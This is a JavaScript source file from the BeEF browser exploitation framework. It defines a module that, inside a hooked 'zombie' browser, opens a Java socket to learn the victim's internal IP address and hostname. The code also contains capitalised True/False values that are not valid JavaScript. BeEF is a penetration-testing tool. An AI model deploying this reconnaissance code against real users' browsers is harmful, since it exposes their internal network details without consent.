//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7* Provides networking functions for the local/internal network of the zombie.8* @namespace beef.net.local9*/10beef.net.local = {1112sock: false,13checkJava: false,14hasJava: false,1516/**17* Initializes the java socket. We have to use this method because18* some browsers do not have java installed or it is not accessible.19* in which case creating a socket directly generates an error. So this code20* is invalid:21* sock: new java.net.Socket();22*/23initializeSocket: function() {24if(this.checkJava){25if(!beef.browser.hasJava()) {26this.checkJava=True;27this.hasJava=False;28return -1;29}else{30this.checkJava=True;31this.hasJava=True;32return 1;33}34}35else{36if(!this.hasJava) return -1;37else{38try {39this.sock = new java.net.Socket();40} catch(e) {41return -1;42}43return 1;44}45}46},4748/**49* Returns the internal IP address of the zombie.50* @return {String} the internal ip of the zombie.51* @error return -1 if the internal ip cannot be retrieved.52*/53getLocalAddress: function() {54if(!this.hasJava) return false;5556this.initializeSocket();5758try {59this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));60this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));6162return this.sock.getLocalAddress().getHostAddress();63} catch(e) { return false; }64},6566/**67* Returns the internal hostname of the zombie.68* @return {String} the internal hostname of the zombie.69* @error return -1 if the hostname cannot be retrieved.70*/71getLocalHostname: function() {72if(!this.hasJava) return false;7374this.initializeSocket();7576try {77this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));78this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));7980return this.sock.getLocalAddress().getHostName();81} catch(e) { return false; }82}8384};8586beef.regCmp('beef.net.local');878889